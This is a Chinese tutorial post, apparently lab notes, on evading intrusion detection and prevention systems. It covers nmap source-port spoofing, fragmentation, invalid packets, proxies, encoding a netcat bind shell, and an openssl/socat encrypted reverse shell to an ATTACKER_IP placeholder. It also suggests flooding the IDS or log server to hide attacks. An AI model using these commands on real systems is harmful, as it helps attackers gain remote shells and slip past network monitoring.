当前位置: 首页 > news >正文

绕过技术-IDS和IPS绕过

检测方法

每个IPS/IDS都有特定的检测规则,通过规则进行监控流量,比如snort的规则包含以下信息:

  1. 动作:动作示例包括 警报 记录通过丢弃拒绝
  2. 协议:TCPUDPICMPIP
  3. 源 IP/源端口:!10.10.0.0/16 any 指的是不属于类 B 子网 10.10.0.0/16 的所有内容。
  4. 流向:-> 表示从左(源)到右(目的),而 <> 表示双向流量。
  5. 目的 IP/目的端口:10.10.0.0/16 any 用于指代类 B 子网 10.10.0.0/16

一个可能的监控nc流量的规则:

alert tcp any any <> any 80 (msg: "Netcat Exploitation"; flow:established,to_server; content:"POST"; nocase; http_method; content:"ncat"; nocase; sid:1000032; rev:1;)

规避

常见的规避IPS/IDS的方法有:

  1. 通过协议操控进行规避
  2. 通过有效载荷操控进行规避
  3. 通过路由操纵进行规避
  4. 通过战术拒绝服务(DoS)进行规避

通过协议操控进行规避

操控协议进行规避有以下常见的方法:

  • 依赖不同协议:改变常规/默认流量协议,比如ncat默认使用tcp,那么可以设置-u指定使用udp进行通信
  • 操控(源)TCP/UDP 端口
  • 使用会话拼接(IP 数据包分片)
  • 发送无效数据包

操控协议

所以比如在使用ncat时使用命令时:

改变协议:攻击机执行 nc -ulnvp 162 指定监听UDP流量,会让人产生它是一个常规的 UDP 通信与 SNMP 服务器的错觉,除非 IDS/IPS 支持 DPI。

改变端口:攻击机使用 ncat -lvnp 25 监听TCP流量,会让人误以为它是一个普通的 TCP 连接,与一个 SMTP 服务器,除非 IDS/IPS 提供深度包检测 (DPI)。

操控源端口

通过指定数据发送的端口来伪装扫描的流量,将其伪装为网页浏览等,比如nmap使用选项 -g PORT_NUMBER(或 --source-port PORT_NUMBER),让 Nmap 从特定的源端口号发送所有流量。

扫描目标时:

  • 使用 nmap -sS -Pn -g 80 -F MACHINE_IP 使端口扫描流量乍一看像是与 HTTP 服务器进行交换。

  • 使用 nmap -sU -Pn -g 53 -F MACHINE_IP 使流量看起来像是与 DNS 服务器进行交换。

使用会话拼接(IP 数据包分片)

即将发送的数据包分割为很小的数据包,避免被IDS/IPS识别到某些签名而触发告警,除非 IDS 重新组装数据包,否则规则不会被触发。

Nmap 提供了一些分片数据包的选项。你可以添加:

  • -f 用来将 IP 数据包中的数据设置为 8 字节。
  • -ff 用来限制 IP 数据包中的数据最多为 16 字节。
  • --mtu SIZE 用于为 IP 数据包中的数据提供自定义大小。该大小应为 8 的倍数。

如果要强制设置所有数据包都分割为特定大小,可以使用 Fragroute 工具。

发送无效数据包

nmap中常见的方法是使用具有以下特征的数据包扫描目标:

  • 无效的 TCP/UDP 校验和:使用 -badsum 发送错误的校验和的数据包
  • 无效 TCP 标志:使用 --scanflags 设置标志:
    • URG 表示紧急
    • ACK 用于确认
    • PSH 用于推送
    • RST 用于重置
    • SYN 用于同步
    • FIN 表示结束

如果要自定义字段构建数据包,可以使用 hping3 工具:

  • -t--ttl 用于设置 IP 头中的生存时间
  • -b--badsum 用于发送具有错误 UDP/TCP 校验和的数据包
  • -S, -A, -P, -U, -F, -R 分别用于设置 TCP SYN、ACK、PUSH、URG、FIN 和 RST 标志

通过有效载荷操控进行规避

通过有效载荷操作实现规避包括:

  • 混淆和编码有效载荷
  • 加密通信信道
  • 修改 shellcode

混淆和编码有效载荷

IDS的匹配规则很“死板”一点点的改变都会导致无法匹配,那么只需要添加一些额外的字节、混淆攻击数据即可绕过。

ncat -lvnp 1234 -e /bin/bash,其中 ncat 将在 TCP 端口 1234 上监听,并将任何传入的连接连接到 Bash shell

可以使用一些常见的转换比如base64、url等编码将这个命令进行处理,从而规避检测。

使用转义 Unicode

在 CyberChef 中对命令进行转换:

image-20250522102047830

如果目标能够准确执行转换后的命令,这就是一个很好的规避方法。

加密通信信道

由于 IDS/IPS 不会检查加密数据,攻击者可以利用加密来逃避检测。与编码不同,加密需要加密密钥。

比如可以使用openssl在攻击者机器上创建密钥,然后指定socat以该密钥进行加密通信,执行加密反向 shell 可以分为三个步骤:

  1. 创建密钥
  2. 在攻击者机器上监听
  3. 连接到攻击者机器

创建密钥

使用openssl创建密钥:

openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=localhost/O=Local Dev/C=XX' -nodes -keyout localhost.key -out localhost.crt

参数说明:

  • req 表示这是一个证书签名请求。显然,我们不会提交证书进行签名。
  • -x509 指定生成一个 X.509 证书
  • -newkey rsa:4096 使用 RSA 创建一个新的证书请求和新的私钥,密钥大小为 4096 位。(这里可以使用其他 RSA 密钥大小的选项,例如 -newkey rsa:2048。)
  • -days 365 显示生成的证书有效期为一年
    • -subj 通过命令行设置数据,例如组织和国家,可以随便填写,占位即可
  • -nodes 简化了命令,并且没有加密私钥
  • -keyout PRIVATE_KEY 指定了想要保存私钥的文件名
  • -out CERTIFICATE 指定将证书请求写入的文件名

上述命令返回:

  • 私钥:thm-reverse.key
  • 证书:thm-reverse.crt

隐私增强邮件(PEM).pem 文件需要使用 cat 命令将私钥 .key 和证书 .crt 文件连接起来:

cat thm-reverse.key thm-reverse.crt > thm-reverse.pem

启动监听

攻击机:使用socat开启监听并指定之前生成的PEM文件对会话进行加密:

socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT

参数说明:

  • -d -d 提供一些调试数据(致命、错误、警告和通知消息)
  • OPENSSL-LISTEN:PORT_NUM 指示连接将使用 OPENSSL 加密
  • cert=PEM_FILE 提供 PEM 文件(证书和私钥)以建立加密连接
  • verify=0 禁用检查对端的证书
  • fork 创建一个子进程来处理每个新的连接。

受害者:连接到攻击机:

socat OPENSSL:ATTACKER_IP:4443,verify=0 EXEC:/bin/bash

攻击机等待连接上线shell即可。

通过路由操作进行规避

通过路由操纵实现规避包括:

  • 依赖源路由
  • 使用代理服务器

依赖源路由

Nmap 通过选项 --ip-options 强制数据包使用特定的路径到达目的地,有松散和严格两种路由:

  • 松散路由可以使用 L 来指定。例如, --ip-options "L 10.10.10.50 10.10.50.250" 攻击者的扫描数据包通过提供的两个 IP 地址进行路由。
  • 严格路由可以使用 S 来指定。严格路由要求攻击者设置系统与目标主机之间的每一跳。例如, --ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3" 指定数据包在到达目标主机之前要通过这三个路由。

使用代理服务器

比如使用代理池技术,使用代理来隐藏真实地址,nmap可以使用 --proxies,该选项接受一个逗号分隔的代理 URL 列表。每个 URL 应使用格式 proto://host:port 表示,例如:nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 10.10.218.152

战术性 DoS 逃逸

通过战术性 DoS 进行规避包括:

  • 对 IDS/IPS 发起拒绝服务攻击:创建大量良性流量,以至于会超载 IDS/IPS 的处理能力。
  • 对日志服务器发起拒绝服务攻击:创建大量非恶意的流量,这些流量仍会出现在日志中。这一操作会使与日志服务器的通信通道拥塞,或超出其磁盘写入容量。

主要思想是通过创造大量误报,将真实攻击隐藏其中迷惑蓝队。

C2 和 IDS/IPS 逃逸

公开的C2工具的特征和数据包都是有明显特征的,如果直接使用,那么会很容易被发现,那么就需要进行二开、修改UA头等配置信息。

http://www.jsqmd.com/news/60917/

相关文章:

  • 绕过技术-UAC用户账户控制绕过
  • CSS3打造黑色炫酷风个人简历网站模板 - 指南
  • 从“看曲线”到“懂问题”:MetricSet Explorer 如何重构指标分析体验
  • 2025年曝气池清理行业盘点:值得信赖的五大企业,市面上曝气池清理企业推荐
  • 为spaCy配置文件定制的VS Code增强工具
  • AGV货架公司口碑推荐榜,穿梭式货架/精益管料架/高位货架/可调节货架/货架定制/托盘货架/货架/不锈钢货架/仓储货架AGV货架公司怎么选择
  • 2025哥伦比亚名义雇主 EOR 怎么选?认准 Safeguard Global 人力资源服务商
  • 北京陪诊 北京陪诊师 北京陪诊公司
  • 三维8节点有限元弹性力学MATLAB程序
  • 2025 年健康监测系统平台最新推荐榜,技术实力与市场口碑深度解析健康监测设备/居家健康监测/老年健康监测系统推荐
  • linux 文件系统中文件的三个时间戳(atime、mtime、ctime)以及如何修改这三个时间戳
  • 2025年LG溴化锂溶液制造厂权威推荐榜:远大溴化锂溶液/溴化锂粉末/特迈斯溴化锂溶液源头厂家精选
  • IDEA(2020版)实现HttpServletRequest对象
  • 2025聚焦西班牙 EOR 服务商:Safeguard Global名义雇主合规雇佣降低出海风险
  • 2025年成都抖音代运营公司排行,优选推荐,抖音代运营/小红书代运营/短视频代运营/网络营销/快手代运营/GEO优化抖音代运营公司选哪家
  • C#资料整理
  • 2025年最新振动时效机行业口碑好知名厂家排行榜
  • 2025年缓冲托辊定制厂家权威推荐榜单:聚氨酯缓冲托辊‌/平行缓冲托辊‌/缓冲托辊胶圈‌源头厂家精选
  • Linux系统虚拟内存扩容:Swap文件
  • MATLAB计算并实时显示原子位置
  • 详细介绍:【C++:红黑树】深入理解红黑树的平衡之道:从原理、变色、旋转到完整实现代码
  • 2025年终人行通道闸机厂家实力榜盘点[年度精选]:速通门、摆闸、转闸、单向门
  • 博士中介性价比榜TOP10!全奖稳冲的秘诀
  • 2025年12月安徽农药、杀虫剂、水稻除草套餐、药肥颗粒、除草剂厂家测评
  • 名义雇主 EOR 公司怎么选?2025出海企业必看指南,推荐Safeguard Global人力资源服务商
  • 博士留学中介百分制排名TOP10!服务细节才是核心加分项
  • 小型养殖场不熬夜!CLC-S22R看棚又省工
  • 中介TOP10深扒:美国申请性价比专业性实测
  • 博士留学机构排名十大推荐,专属咨询破解申请瓶颈
  • 2025年度五大压力开关认证厂家排行榜,耐高温压力开关推荐及